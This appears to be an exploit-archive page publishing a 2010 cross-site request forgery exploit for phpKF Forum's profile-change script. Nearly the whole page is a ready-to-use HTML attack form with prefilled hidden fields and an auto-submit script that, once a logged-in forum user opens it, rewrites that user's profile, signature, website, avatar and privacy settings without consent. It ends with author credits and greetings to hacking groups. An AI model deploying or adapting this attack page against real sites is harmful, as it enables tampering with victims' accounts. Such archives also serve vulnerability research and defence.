4e7ab00187
204 changes to exploits/shellcodes Charity Management System CMS 1.0 - Multiple Vulnerabilities
163 lines
No EOL
5 KiB
HTML
163 lines
No EOL
5 KiB
HTML
# Exploit Title : phpKF Forum profil_degistir.php CSRF Exploit.
|
|
# Google Dork : php Kolay Forum (phpKF) © 2007 - 2010 phpKF Ekibi
|
|
# Date : 05-12-2010
|
|
# Author : FreWaL
|
|
# Software Link : http://www.phpkf.com/dosya.php?no=935
|
|
# Version : 1.80 and tested on All version
|
|
# My Website : www.imhatimi.org & www.ihtilal.in
|
|
|
|
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
|
$
|
|
$ phpKF Forum profil_degistir.php CSRF Exploit. $
|
|
$
|
|
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
|
|
|
<frewal>
|
|
<form method="POST" action="http://www.w0rms.com/profil_degistir_yap.php">
|
|
<br>
|
|
<input type="hidden" name="profil_degisti_mi" value="form_dolu">
|
|
<br>
|
|
<input type="hidden" name="MAX_FILE_SIZE" value="1022999">
|
|
<br>
|
|
<input type="hidden" name="islem_turu" value="normal">
|
|
<br>
|
|
<input class="formlar" type="text" name="gercek_ad" size="35" maxlength="30" value="NamesLakap">
|
|
<br>
|
|
<input class="formlar" type="text" name="dogum_tarihi" size="10" maxlength="10" value="07-02-1985">
|
|
<br>
|
|
<select class="formlar" name="sehir">
|
|
<br>
|
|
<option value="Adana">Adana</option>
|
|
<option value="YurtDýþý">Yurt Dýþý</option>
|
|
<option value="Adana">Adana</option>
|
|
</select>
|
|
<br>
|
|
<input class="formlar" type="text" name="web" size="35" maxlength="70" value="http://www.imhatimi.org">
|
|
<br>
|
|
<td bgcolor="#ffffff" class="liste-veri3" align="left">
|
|
<select class="formlar" name="tema_secim"><option value="5renkli">5renkli</option></select>
|
|
</td>
|
|
<br>
|
|
<textarea class="formlar" cols="36" rows="9" name="imza" style="width: 240px; height: 130px">Sinirsiz imza</textarea>
|
|
<br>
|
|
|
|
<tr>
|
|
<td height="20" colspan="2" class="forum_baslik" align="center">
|
|
ANINDA MESAJLAÞMA ADRESLERÝ
|
|
</td>
|
|
</tr>
|
|
<br>
|
|
<tr>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
ICQ Numaranýz:
|
|
</td>
|
|
<br>
|
|
<td bgcolor="#ffffff" class="liste-veri3" align="left">
|
|
<input class="formlar" type="text" name="icq" size="35" maxlength="30" value="sanane">
|
|
</td>
|
|
</tr>
|
|
<br>
|
|
<tr>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
AIM Adýnýz:
|
|
</td>
|
|
<td bgcolor="#ffffff" class="liste-veri3" align="left">
|
|
<input class="formlar" type="text" name="aim" size="35" maxlength="70" value="banane">
|
|
<br>
|
|
</td>
|
|
</tr>
|
|
|
|
<tr>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
MSN Messenger Adýnýz:
|
|
</td>
|
|
<td bgcolor="#ffffff" class="liste-veri3" align="left">
|
|
<input class="formlar" type="text" name="msn" size="35" maxlength="70" value="onane">
|
|
</td>
|
|
</tr>
|
|
<br>
|
|
<tr>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
Yahoo! Messenger Adýnýz:
|
|
</td>
|
|
<td bgcolor="#ffffff" class="liste-veri3" align="left">
|
|
<input class="formlar" type="text" name="yahoo" size="35" maxlength="70" value="bizene">
|
|
</td>
|
|
</tr>
|
|
<br>
|
|
<tr>
|
|
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
Skype Adýnýz:
|
|
</td>
|
|
<td bgcolor="#ffffff" class="liste-veri3" align="left">
|
|
<input class="formlar" type="text" name="skype" size="35" maxlength="70" value="sizene">
|
|
</td>
|
|
</tr>
|
|
<br>
|
|
<input class="formlar" name="resim_yukle" type="file" size="30" value="">
|
|
<br>
|
|
<input class="formlar" type="text" name="uzak_resim" size="35" maxlength="150" value="http://www.resimmax.net/wp-content/uploads/2010/04/Bu-resimde-hem-essek-hem-fok-bal%C4%B1g%C4%B1-gizli-120x120.jpg">
|
|
<br>
|
|
Hide Email ? (Email Göster Gizle)
|
|
<br>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
<label style="cursor: pointer;">
|
|
<input type=radio name="posta_goster" value="1" >
|
|
Evet</label>
|
|
<label style="cursor: pointer;">
|
|
<input type="radio" name="posta_goster" value="0" checked="checked">
|
|
Hayýr</label>
|
|
</td>
|
|
<br>
|
|
Doðum tarihi
|
|
<br>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
<label style="cursor: pointer;">
|
|
<input type="radio" name="dogum_tarihi_goster" value="1" checked="checked">
|
|
Evet</label>
|
|
|
|
<label style="cursor: pointer;">
|
|
<input type="radio" name="dogum_tarihi_goster" value="0" >
|
|
Hayýr</label>
|
|
</td>
|
|
<br>
|
|
Sehir Göster Gizle
|
|
<br>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
<label style="cursor: pointer;">
|
|
<input type="radio" name="sehir_goster" value="1" checked="checked">
|
|
Evet</label>
|
|
|
|
<label style="cursor: pointer;">
|
|
|
|
<input type="radio" name="sehir_goster" value="0" >
|
|
Hayýr</label>
|
|
</td>
|
|
|
|
<br>
|
|
Online - Offline Göster Gizle
|
|
<br>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
Çevrimiçi Durumunu Göster:
|
|
</td>
|
|
<td class="liste-veri3" bgcolor="#ffffff" align="left">
|
|
<label style="cursor: pointer;">
|
|
|
|
<input type="radio" name="gizli" value="0" checked="checked">
|
|
Evet</label>
|
|
|
|
<label style="cursor: pointer;">
|
|
<input type="radio" name="gizli" value="1" >
|
|
Hayýr</label>
|
|
</td>
|
|
<br>
|
|
<script> document.forms[0].submit() </script>
|
|
</form>
|
|
</frewal>
|
|
|
|
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
|
|
$
|
|
$ For MecTruy ~ Dr.Ly0n ~ Noxy ~ DeadMaster $
|
|
$ Special Thenx all Security Grup
|
|
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ |